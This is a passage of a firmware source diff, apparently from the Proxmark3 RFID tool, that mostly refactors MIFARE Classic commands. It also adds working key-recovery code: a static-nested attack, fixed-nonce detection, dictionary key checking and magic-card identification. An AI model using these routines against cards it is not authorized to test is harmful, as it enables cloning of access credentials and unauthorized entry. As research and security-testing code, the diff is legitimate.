Dbprintf("Nested: Can't select card"); rtr--; continue; }; auth1_time = 0; if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, &auth1_time)) { - if (DBGLEVEL >= 2) Dbprintf("Nested: Auth1 error"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error"); rtr--; continue; }; auth2_time = (delta_time) ? auth1_time + delta_time : 0; if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt2, &auth2_time)) { - if (DBGLEVEL >= 2) Dbprintf("Nested: Auth2 error"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error"); rtr--; continue; }; + // cards with fixed nonce + if (nt1 == nt2) { + Dbprintf("Nested: %08x vs %08x", nt1, nt2); + break; + } + uint32_t nttmp = prng_successor(nt1, 100); //NXP Mifare is typical around 840,but for some unlicensed/compatible mifare card this can be 160 for (i = 101; i < 1200; i++) { nttmp = prng_successor(nttmp, 1); @@ -951,10 +972,10 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) } else { delta_time = auth2_time - auth1_time + 32; // allow some slack for proper timing } - if (DBGLEVEL >= 3) Dbprintf("Nested: calibrating... ntdist=%d", i); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Nested: calibrating... ntdist=%d", i); } else { - unsuccessfull_tries++; - if (unsuccessfull_tries > NESTED_MAX_TRIES) { // card isn't vulnerable to nested attack (random numbers are not predictable) + unsuccessful_tries++; + if (unsuccessful_tries > NESTED_MAX_TRIES) { // card isn't vulnerable to nested attack (random numbers are not predictable) isOK = -3; } } @@ -962,7 +983,7 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) davg = (davg + (rtr - 1) / 2) / (rtr - 1); - if (DBGLEVEL >= 3) Dbprintf("rtr=%d isOK=%d min=%d max=%d avg=%d, delta_time=%d", rtr, isOK, dmin, dmax, davg, delta_time); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("rtr=%d isOK=%d min=%d max=%d avg=%d, delta_time=%d", rtr, isOK, dmin, dmax, davg, delta_time); dmin = davg - 2; dmax = davg + 2; @@ -979,20 +1000,26 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) target_nt[i] = 0; while (target_nt[i] == 0) { // continue until we have an unambiguous nonce + // Test if the action was cancelled + if (BUTTON_PRESS() || data_available()) { + isOK = -2; + break; + } + // prepare next select. No need to power down the card. if (mifare_classic_halt(pcs, cuid)) { - if (DBGLEVEL >= 2) Dbprintf("Nested: Halt error"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); continue; } if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { - if (DBGLEVEL >= 2) Dbprintf("Nested: Can't select card"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Can't select card"); continue; }; auth1_time = 0; if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, &auth1_time)) { - if (DBGLEVEL >= 2) Dbprintf("Nested: Auth1 error"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error"); continue; }; @@ -1001,12 +1028,12 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, &auth2_time); if (len != 4) { - if (DBGLEVEL >= 2) Dbprintf("Nested: Auth2 error len=%d", len); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error len=%d", len); continue; }; nt2 = bytes_to_num(receivedAnswer, 4); - if (DBGLEVEL >= 3) Dbprintf("Nonce#%d: Testing nt1=%08x nt2enc=%08x nt2par=%02x", i + 1, nt1, nt2, par[0]); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Nonce#%d: Testing nt1=%08x nt2enc=%08x nt2par=%02x", i + 1, nt1, nt2, par[0]); // Parity validity check for (j = 0; j < 4; j++) { @@ -1021,7 +1048,7 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) if (valid_nonce(nttest, nt2, ks1, par_array)) { if (ncount > 0) { // we are only interested in disambiguous nonces, try again - if (DBGLEVEL >= 3) Dbprintf("Nonce#%d: dismissed (ambigous), ntdist=%d", i + 1, j); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Nonce#%d: dismissed (ambiguous), ntdist=%d", i + 1, j); target_nt[i] = 0; break; } @@ -1030,10 +1057,10 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) ncount++; if (i == 1 && target_nt[1] == target_nt[0]) { // we need two different nonces target_nt[i] = 0; - if (DBGLEVEL >= 3) Dbprintf("Nonce#2: dismissed (= nonce#1), ntdist=%d", j); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Nonce#2: dismissed (= nonce#1), ntdist=%d", j); break; } - if (DBGLEVEL >= 3) Dbprintf("Nonce#%d: valid, ntdist=%d", i + 1, j); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Nonce#%d: valid, ntdist=%d", i + 1, j); } } if (target_nt[i] == 0 && j == dmax + 1 && DBGLEVEL >= 3) Dbprintf("Nonce#%d: dismissed (all invalid)", i + 1); @@ -1042,17 +1069,30 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) LED_C_OFF(); - crypto1_destroy(pcs); + crypto1_deinit(pcs); - uint8_t buf[4 + 4 * 4] = {0}; - memcpy(buf, &cuid, 4); - memcpy(buf + 4, &target_nt[0], 4); - memcpy(buf + 8, &target_ks[0], 4); - memcpy(buf + 12, &target_nt[1], 4); - memcpy(buf + 16, &target_ks[1], 4); + struct p { + int16_t isOK; + uint8_t block; + uint8_t keytype; + uint8_t cuid[4]; + uint8_t nt_a[4]; + uint8_t ks_a[4]; + uint8_t nt_b[4]; + uint8_t ks_b[4]; + } PACKED payload; + payload.isOK = isOK; + payload.block = targetBlockNo; + payload.keytype = targetKeyType; + + memcpy(payload.cuid, &cuid, 4); + memcpy(payload.nt_a, &target_nt[0], 4); + memcpy(payload.ks_a, &target_ks[0], 4); + memcpy(payload.nt_b, &target_nt[1], 4); + memcpy(payload.ks_b, &target_ks[1], 4); LED_B_ON(); - reply_mix(CMD_ACK, isOK, 0, targetBlockNo + (targetKeyType * 0x100), buf, sizeof(buf)); + reply_ng(CMD_HF_MIFARE_NESTED, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); LED_B_OFF(); if (DBGLEVEL >= 3) DbpString("NESTED FINISHED"); @@ -1062,6 +1102,107 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) set_tracing(false); } +void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key) { + + LEDsoff(); + + uint64_t ui64Key = 0; + ui64Key = bytes_to_num(key, 6); + + // variables + uint16_t len; + + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0, nt1, nt2; + uint32_t target_nt = {0x00}, target_ks = {0x00}; + uint8_t par[1] = {0x00}; + uint8_t receivedAnswer[10] = {0x00}; + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + LED_A_ON(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + // free eventually allocated BigBuf memory + BigBuf_free(); + BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + + int16_t isOK = 0; + + LED_C_ON(); + + for (uint8_t retry = 0; retry < 3 && (isOK == 0); retry++) { + + WDT_HIT(); + + // prepare next select. No need to power down the card. + if (mifare_classic_halt(pcs, cuid)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); + retry--; + continue; + } + + if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Can't select card"); + retry--; + continue; + }; + + // First authenticatoin. Normal auth. + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error"); + retry--; + continue; + }; + + // second authentication. Nested auth + len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, NULL); + if (len != 4) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error len=%d", len); + continue; + }; + + nt2 = bytes_to_num(receivedAnswer, 4); + uint32_t nt_tmp = prng_successor(nt1, 160); + target_ks = nt2 ^ nt_tmp; + target_nt = nt_tmp; + isOK = 1; + + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Testing nt1=%08x nt2enc=%08x nt2par=%02x ks=%08x", nt1, nt2, par[0], target_ks); + } + + LED_C_OFF(); + + crypto1_deinit(pcs); + + struct p { + int16_t isOK; + uint8_t block; + uint8_t keytype; + uint8_t cuid[4]; + uint8_t nt[4]; + uint8_t ks[4]; + } PACKED payload; + payload.isOK = isOK; + payload.block = targetBlockNo; + payload.keytype = targetKeyType; + + memcpy(payload.cuid, &cuid, 4); + memcpy(payload.nt, &target_nt, 4); + memcpy(payload.ks, &target_ks, 4); + + LED_B_ON(); + reply_ng(CMD_HF_MIFARE_STATIC_NESTED, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); + LED_B_OFF(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); +} //----------------------------------------------------------------------------- // MIFARE check keys. key count up to 85. // @@ -1099,9 +1240,9 @@ uint8_t chkKey(struct chk_t *c) { } res = mifare_classic_authex(c->pcs, c->cuid, c->block, c->keyType, c->key, AUTH_FIRST, NULL, NULL); - CHK_TIMEOUT(); +// CHK_TIMEOUT(); - // if successfull auth, send HALT + // if successful auth, send HALT // if ( !res ) // mifare_classic_halt_ex(c->pcs); break; @@ -1202,8 +1343,6 @@ void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t *found } } - - // get Chunks of keys, to test authentication against card. // arg0 = antal sectorer // arg0 = first time @@ -1235,6 +1374,8 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da static uint8_t found[80]; static uint8_t *uid; + int oldbg = DBGLEVEL; + #ifdef WITH_FLASH if (use_flashmem) { BigBuf_free(); @@ -1281,7 +1422,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da iso14a_card_select_t card_info; if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("ChkKeys_fast: Can't select card (ALL)"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("ChkKeys_fast: Can't select card (ALL)"); goto OUT; } @@ -1302,6 +1443,9 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da CHK_TIMEOUT(); } + // clear debug level. We are expecting lots of authentication failures... + DBGLEVEL = DBG_NONE; + // set check struct. chk_data.uid = uid; chk_data.cuid = cuid; @@ -1325,10 +1469,8 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da for (uint16_t i = s_point; i < keyCount; ++i) { - //if ( i % 100 == 0) Dbprintf("ChkKeys_fast: sector %d | checking %d | %d found | s_point %d", s, i, foundkeys, s_point); - // Allow button press / usb cmd to interrupt device - if (BUTTON_PRESS() && !data_available()) { + if (BUTTON_PRESS() || data_available()) { goto OUT; } @@ -1420,7 +1562,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da for (uint16_t i = 0; i < keyCount; i++) { // Allow button press / usb cmd to interrupt device - if (BUTTON_PRESS() && !data_available()) break; + if (BUTTON_PRESS() || data_available()) break; // found all keys? if (foundkeys == allkeys) @@ -1480,7 +1622,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da OUT: LEDsoff(); - crypto1_destroy(pcs); + crypto1_deinit(pcs); // All keys found, send to client, or last keychunk from client if (foundkeys == allkeys || lastchunk) { @@ -1492,7 +1634,7 @@ OUT: uint16_t bar = 0; uint8_t j = 0; - for (uint8_t m = 64; m < sizeof(found); m++) { + for (uint8_t m = 64; m < ARRAYLEN(found); m++) { bar |= ((uint16_t)(found[m] & 1) << j++); } @@ -1508,10 +1650,37 @@ OUT: FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); BigBuf_free(); BigBuf_Clear_ext(false); + + // special trick ecfill + if (use_flashmem && foundkeys == allkeys) { + + uint8_t block[16] = {0}; + for (int i = 0; i < sectorcnt; i++) { + + uint8_t blockno; + if (i < 32) { + blockno = (i * 4) ^ 0x3; + } else { + blockno = (32 * 4 + (i - 32) * 16) ^ 0xF; + } + // get ST + emlGetMem(block, blockno, 1); + + memcpy(block, k_sector[i].keyA, 6); + memcpy(block + 10, k_sector[i].keyB, 6); + + emlSetMem_xt(block, blockno, 1, sizeof(block)); + } + + MifareECardLoad(sectorcnt, 0); + MifareECardLoad(sectorcnt, 1); + } } else { // partial/none keys found reply_mix(CMD_ACK, foundkeys, 0, 0, 0, 0); } + + DBGLEVEL = oldbg; } void MifareChkKeys(uint8_t *datain) { @@ -1533,14 +1702,15 @@ void MifareChkKeys(uint8_t *datain) { bool found; } PACKED keyresult; keyresult.found = false; - uint8_t blockNo, keyType, keyCount; + uint8_t blockNo, keyType; + uint16_t keyCount; bool clearTrace, have_uid = false; keyType = datain[0]; blockNo = datain[1]; clearTrace = datain[2]; - keyCount = datain[3]; - datain += 4; + keyCount = (datain[3] << 8) | datain[4]; + datain += 5; LEDsoff(); LED_A_ON(); @@ -1550,7 +1720,10 @@ void MifareChkKeys(uint8_t *datain) { if (clearTrace) clear_trace(); - set_tracing(true); + int oldbg = DBGLEVEL; + DBGLEVEL = DBG_NONE; + + set_tracing(false); for (i = 0; i < keyCount; i++) { @@ -1558,7 +1731,7 @@ void MifareChkKeys(uint8_t *datain) { if (!have_uid) { // need a full select cycle to get the uid first iso14a_card_select_t card_info; if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("ChkKeys: Can't select card (ALL)"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("ChkKeys: Can't select card (ALL)"); --i; // try same key once again continue; } @@ -1578,7 +1751,7 @@ void MifareChkKeys(uint8_t *datain) { have_uid = true; } else { // no need for anticollision. We can directly select the card if (!iso14443a_select_card(uid, NULL, NULL, false, cascade_levels, true)) { - if (DBGLEVEL >= 1) Dbprintf("ChkKeys: Can't select card (UID)"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("ChkKeys: Can't select card (UID)"); --i; // try same key once again continue; } @@ -1587,10 +1760,11 @@ void MifareChkKeys(uint8_t *datain) { key = bytes_to_num(datain + i * 6, 6); res = mifare_classic_auth(pcs, cuid, blockNo, keyType, key, AUTH_FIRST); - CHK_TIMEOUT(); +// CHK_TIMEOUT(); if (res) continue; + memcpy(keyresult.key, datain + i * 6, 6); keyresult.found = true; break; @@ -1598,14 +1772,96 @@ void MifareChkKeys(uint8_t *datain) { LED_B_ON(); - reply_ng(CMD_MIFARE_CHKKEYS, PM3_SUCCESS, (uint8_t *)&keyresult, sizeof(keyresult)); + reply_ng(CMD_HF_MIFARE_CHKKEYS, PM3_SUCCESS, (uint8_t *)&keyresult, sizeof(keyresult)); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); set_tracing(false); - crypto1_destroy(pcs); + crypto1_deinit(pcs); + + DBGLEVEL = oldbg; } +void MifareChkKeys_file(uint8_t *fn) { + +#ifdef WITH_FLASH + SpinOff(0); + + int changed = rdv40_spiffs_lazy_mount(); + uint32_t size = size_in_spiffs((char *)fn); + uint8_t *mem = BigBuf_malloc(size); + + rdv40_spiffs_read_as_filetype((char *)fn, mem, size, RDV40_SPIFFS_SAFETY_SAFE); + + if (changed) { + rdv40_spiffs_lazy_unmount(); + } + + SpinOff(0); + + MifareChkKeys(mem); + + BigBuf_free(); +#endif +} + +//----------------------------------------------------------------------------- +// MIFARE Personalize UID. Only for Mifare Classic EV1 7Byte UID +//----------------------------------------------------------------------------- +void MifarePersonalizeUID(uint8_t keyType, uint8_t perso_option, uint64_t key) { + + uint16_t isOK = PM3_EUNDEF; + uint8_t uid[10]; + uint32_t cuid; + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); + + LED_A_ON(); + + while (true) { + if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); + break; + } + + uint8_t block_number = 0; + if (mifare_classic_auth(pcs, cuid, block_number, keyType, key, AUTH_FIRST)) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Auth error"); + break; + } + + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE]; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE]; + int len = mifare_sendcmd_short(pcs, true, MIFARE_EV1_PERSONAL_UID, perso_option, receivedAnswer, receivedAnswerPar, NULL); + if (len != 1 || receivedAnswer[0] != CARD_ACK) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); + break;; + } + + if (mifare_classic_halt(pcs, cuid)) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); + break; + } + isOK = PM3_SUCCESS; + break; + } + + crypto1_deinit(pcs); + + LED_B_ON(); + reply_ng(CMD_HF_MIFARE_PERSONALIZE_UID, isOK, NULL, 0); + LED_B_OFF(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); +} + + //----------------------------------------------------------------------------- // Work with emulator memory // @@ -1634,7 +1890,7 @@ void MifareEMemGet(uint8_t blockno, uint8_t blockcnt) { // size_t size = blockcnt * 16; if (size > PM3_CMD_DATA_SIZE) { - reply_ng(CMD_MIFARE_EML_MEMGET, PM3_EMALLOC, NULL, 0); + reply_ng(CMD_HF_MIFARE_EML_MEMGET, PM3_EMALLOC, NULL, 0); return; } @@ -1643,7 +1899,7 @@ void MifareEMemGet(uint8_t blockno, uint8_t blockcnt) { emlGetMem(buf, blockno, blockcnt); // data, block num, blocks count (max 4) LED_B_ON(); - reply_ng(CMD_MIFARE_EML_MEMGET, PM3_SUCCESS, buf, size); + reply_ng(CMD_HF_MIFARE_EML_MEMGET, PM3_SUCCESS, buf, size); LED_B_OFF(); BigBuf_free_keep_EM(); } @@ -1652,10 +1908,15 @@ void MifareEMemGet(uint8_t blockno, uint8_t blockcnt) { // Load a card into the emulator memory // //----------------------------------------------------------------------------- -int MifareECardLoad(uint32_t arg0, uint32_t arg1) { +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype) { + int retval = MifareECardLoad(sectorcnt, keytype); + reply_ng(CMD_HF_MIFARE_EML_LOAD, retval, NULL, 0); + return retval; +} + +int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { + uint32_t cuid = 0; - uint8_t numSectors = arg0; - uint8_t keyType = arg1; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; @@ -1666,68 +1927,63 @@ int MifareECardLoad(uint32_t arg0, uint32_t arg1) { uint8_t uid[10] = {0x00}; LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); clear_trace(); set_tracing(true); - bool isOK = true; + int retval; if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { - isOK = false; - if (DBGLEVEL >= 1) Dbprintf("Can't select card"); + retval = PM3_ESOFT; + if (DBGLEVEL > DBG_ERROR) Dbprintf("Can't select card"); + goto out; } - for (uint8_t sectorNo = 0; isOK && sectorNo < numSectors; sectorNo++) { - uint64_t ui64Key = emlGetKey(sectorNo, keyType); + for (uint8_t sectorNo = 0; sectorNo < sectorcnt; sectorNo++) { + uint64_t ui64Key = emlGetKey(sectorNo, keytype); if (sectorNo == 0) { - if (isOK && mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { - if (DBGLEVEL >= 1) Dbprintf("Sector[%2d]. Auth error", sectorNo); + if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keytype, ui64Key, AUTH_FIRST)) { + if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth error", sectorNo); break; } } else { - if (isOK && mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) { - isOK = false; - if (DBGLEVEL >= 1) Dbprintf("Sector[%2d]. Auth nested error", sectorNo); - break; + if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keytype, ui64Key, AUTH_NESTED)) { + retval = PM3_ESOFT; + if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth nested error", sectorNo); + goto out; } } - for (uint8_t blockNo = 0; isOK && blockNo < NumBlocksPerSector(sectorNo); blockNo++) { - if (isOK && mifare_classic_readblock(pcs, cuid, FirstBlockOfSector(sectorNo) + blockNo, dataoutbuf)) { - isOK = false; - if (DBGLEVEL >= 1) Dbprintf("Error reading sector %2d block %2d", sectorNo, blockNo); + for (uint8_t blockNo = 0; blockNo < NumBlocksPerSector(sectorNo); blockNo++) { + if (mifare_classic_readblock(pcs, cuid, FirstBlockOfSector(sectorNo) + blockNo, dataoutbuf)) { + retval = PM3_ESOFT; + if (DBGLEVEL > DBG_ERROR) Dbprintf("Error reading sector %2d block %2d", sectorNo, blockNo); break; } - if (isOK) { - if (blockNo < NumBlocksPerSector(sectorNo) - 1) { - emlSetMem(dataoutbuf, FirstBlockOfSector(sectorNo) + blockNo, 1); - } else { // sector trailer, keep the keys, set only the AC - emlGetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1); - memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4); - emlSetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1); - } + if (blockNo < NumBlocksPerSector(sectorNo) - 1) { + emlSetMem(dataoutbuf, FirstBlockOfSector(sectorNo) + blockNo, 1); + } else { // sector trailer, keep the keys, set only the AC + emlGetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1); + memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4); + emlSetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1); } } - } - if (mifare_classic_halt(pcs, cuid)) - if (DBGLEVEL >= 1) + if (mifare_classic_halt(pcs, cuid)) { + if (DBGLEVEL > DBG_ERROR) Dbprintf("Halt error"); + } - // ----------------------------- crypto1 destroy - crypto1_destroy(pcs); + if (DBGLEVEL >= DBG_INFO) DbpString("Emulator fill sectors finished"); +out: + crypto1_deinit(pcs); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); - - if (DBGLEVEL >= 2) DbpString("EMUL FILL SECTORS FINISHED"); - set_tracing(false); - return (isOK) ? PM3_SUCCESS : PM3_EUNDEF; + return retval; } @@ -1825,7 +2081,7 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } } - if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("write block send command error"); errormsg = 4; break; @@ -1904,7 +2160,7 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } // read block - if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("read block send command error"); errormsg = 0; break; @@ -1935,9 +2191,6 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } void MifareCIdent() { -#define GEN_1A 1 -#define GEN_1B 2 -#define GEN_2 4 // variables uint8_t isGen = 0; uint8_t rec[1] = {0x00}; @@ -1953,46 +2206,97 @@ void MifareCIdent() { // Generation 1 test ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); - if (!ReaderReceive(rec, recpar) || (rec[0] != 0x0a)) { - goto TEST2; - }; - - ReaderTransmit(wupC2, sizeof(wupC2), NULL); - if (!ReaderReceive(rec, recpar) || (rec[0] != 0x0a)) { - isGen = GEN_1B; + if (ReaderReceive(rec, recpar) && (rec[0] == 0x0a)) { + ReaderTransmit(wupC2, sizeof(wupC2), NULL); + if (!ReaderReceive(rec, recpar) || (rec[0] != 0x0a)) { + isGen = MAGIC_GEN_1B; + goto OUT; + }; + isGen = MAGIC_GEN_1A; goto OUT; - }; - isGen = GEN_1A; - goto OUT; + } -TEST2: // reset card FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(100); + SpinDelay(40); iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); int res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); if (res == 2) { + if (cuid == 0xAA55C396) { + isGen = MAGIC_GEN_UNFUSED; + goto OUT; + } + ReaderTransmit(rats, sizeof(rats), NULL); res = ReaderReceive(buf, par); if (memcmp(buf, "\x09\x78\x00\x91\x02\xDA\xBC\x19\x10\xF0\x05", 11) == 0) { - isGen = GEN_2; + isGen = MAGIC_GEN_2; goto OUT; } if (memcmp(buf, "\x0D\x78\x00\x71\x02\x88\x49\xA1\x30\x20\x15\x06\x08\x56\x3D", 15) == 0) { - isGen = GEN_2; + isGen = MAGIC_GEN_2; } }; OUT: data[0] = isGen; - reply_ng(CMD_MIFARE_CIDENT, PM3_SUCCESS, data, sizeof(data)); + reply_ng(CMD_HF_MIFARE_CIDENT, PM3_SUCCESS, data, sizeof(data)); // turns off OnSuccessMagic(); BigBuf_free(); } +void MifareHasStaticNonce() { + + // variables + int retval = PM3_SUCCESS, len; + + uint32_t nt = 0 ; + uint8_t rec[1] = {0x00}; + uint8_t recpar[1] = {0x00}; + uint8_t *uid = BigBuf_malloc(10); + uint8_t data[1] = {0x00}; + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + iso14a_card_select_t card_info; + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + for (int i = 0; i < 3; i++) { + if (!iso14443a_select_card(uid, &card_info, NULL, true, 0, true)) { + retval = PM3_ESOFT; + goto OUT; + } + + // Transmit MIFARE_CLASSIC_AUTH 0x60, block 0 + len = mifare_sendcmd_short(pcs, false, MIFARE_AUTH_KEYA, 0, rec, recpar, NULL); + if (len != 4) { + retval = PM3_ESOFT; + goto OUT; + } + + // Save the tag nonce (nt) + if (nt == bytes_to_num(rec, 4)) { + data[0]++; + } + + nt = bytes_to_num(rec, 4); + + CHK_TIMEOUT(); + } + +OUT: + reply_ng(CMD_HF_MIFARE_STATIC_NONCE, retval, data, sizeof(data)); + // turns off + OnSuccessMagic(); + BigBuf_free(); + crypto1_deinit(pcs); +} + void OnSuccessMagic() { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); @@ -2029,23 +2333,23 @@ void MifareSetMod(uint8_t *datain) { while (true) { if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("Can't select card"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); break; } if (mifare_classic_auth(pcs, cuid, 0, 0, ui64Key, AUTH_FIRST)) { - if (DBGLEVEL >= 1) Dbprintf("Auth error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Auth error"); break; } int respLen; - if (((respLen = mifare_sendcmd_short(pcs, 1, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) { - if (DBGLEVEL >= 1) Dbprintf("SetMod error; response[0]: %hhX, len: %d", receivedAnswer[0], respLen); + if (((respLen = mifare_sendcmd_short(pcs, CRYPT_ALL, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf("SetMod error; response[0]: %hhX, len: %d", receivedAnswer[0], respLen); break; } if (mifare_classic_halt(pcs, cuid)) { - if (DBGLEVEL >= 1) Dbprintf("Halt error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); break; } @@ -2053,11 +2357,10 @@ void MifareSetMod(uint8_t *datain) { break; } - crypto1_destroy(pcs); + crypto1_deinit(pcs); LED_B_ON(); - reply_ng(CMD_MIFARE_SETMOD, isOK, NULL, 0); - + reply_ng(CMD_HF_MIFARE_SETMOD, isOK, NULL, 0); LED_B_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); @@ -2116,3 +2419,70 @@ void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain) { LEDsoff(); 